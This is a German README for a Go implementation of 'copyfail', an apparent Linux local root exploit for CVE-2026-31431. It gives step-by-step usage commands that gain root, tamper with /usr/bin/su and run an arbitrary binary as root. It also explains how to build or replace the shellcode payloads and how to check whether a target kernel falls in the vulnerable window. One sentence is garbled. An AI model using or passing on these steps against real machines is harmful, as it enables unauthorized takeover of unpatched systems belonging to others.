
Eine Go-Implementierung von copyfail (CVE-2026-31431)
Die meisten Linux-LPEs benötigen ein Race-Fenster oder einen kernelspezifischen Offset. Copy Fail ist ein logischer Fehler in gerader Linie – er benötigt weder das eine noch das andere. Dasselbe
732-Byte-Python-Skriptstatische Go-Binary rootet jede Linux-Distribution, die seit 2017 ausgeliefert wurde.
Eine Go-Implementierung von CVE-2026-31431. Für den Fall, dass du ein statisches Binary und keine Python-Abhängigkeit benötigst.
Weitere Informationen unter copy.fail.
# Get the binary to your Linux host with code execution (exercise for the reader)
user@host$ chmod +x copyfail-go
user@host$ ./copyfail-go --backup /tmp/su
root@host# cat /tmp/su > /usr/bin/su # Restore the original su binary
root@host# touch -r /tmp/su /usr/bin/su # Restore the modified time of the original su
root@host# rm /tmp/su
root@host# # Do things as root =)
Nützlich, um ein Programm auf Root-Rechte anzuheben
# Get the binary to your Linux host with code execution (exercise for the reader)
user@host$ chmod +x copyfail-go
user@host$ ./copyfail-go --backup /tmp/su --exec ./your-binary
user@host$ # Use whatever you ran to restore su from /tmp/su
Kompiliere die Payloads selbst mit payloads/build-n-print.sh auf einem Debian-Host (Debian 13 getestet).
Du musst apt install nasm python3 binutils-aarch64-linux-gnu binutils-arm-linux-gnueabihf ausführen und dann das Skript aus dem Payloads-Verzeichnis heraus starten. Es kompiliert jede Payload und gibt die zlib-komprimierten Hex-Strings aus. Vergleiche diese mit dem, was in main.go steht (oder ersetze sie durch deine eigenen) und baue die copyfile-go-Binaries mit goreleaser build --snapshot --clean aus dem Hauptprojektverzeichnis.
floor: torvalds/linux 72548b093ee3 August 2017, v4.14
(AF_ALG iov_iter rework that
introduced the file-page write
primitive via splice into the AEAD
scatterlist)
ceiling: torvalds/linux a664bf3d603d April 2026, mainline
(reverts the 2017 algif_aead
in-place optimization; separates
source and destination scatterlists
so page-cache pages can no longer
be a writable crypto destination)
Dazwischen: jeder große Distro-Kernel, der den Fix nicht zurückportiert hat.
Ubuntu, RHEL, SUSE, Amazon Linux und Debian wurden zum Zeitpunkt der Offenlegung
alle in ihren Standard-Cloud-Image-Kerneln als verwundbar bestätigt. Backports
auf Distro-Ebene begannen etwa am 29.04.2026 zusammen mit der öffentlichen
Offenlegung ausgerollt zu werden. Um zu überprüfen, ob ein Zielkernel im Fenster
liegt, prüfe, ob a664bf3d603d (oder sein distrospezifischer Backport) im
Git-Log des Kernels oder im Changelog der Distro vorhanden ist.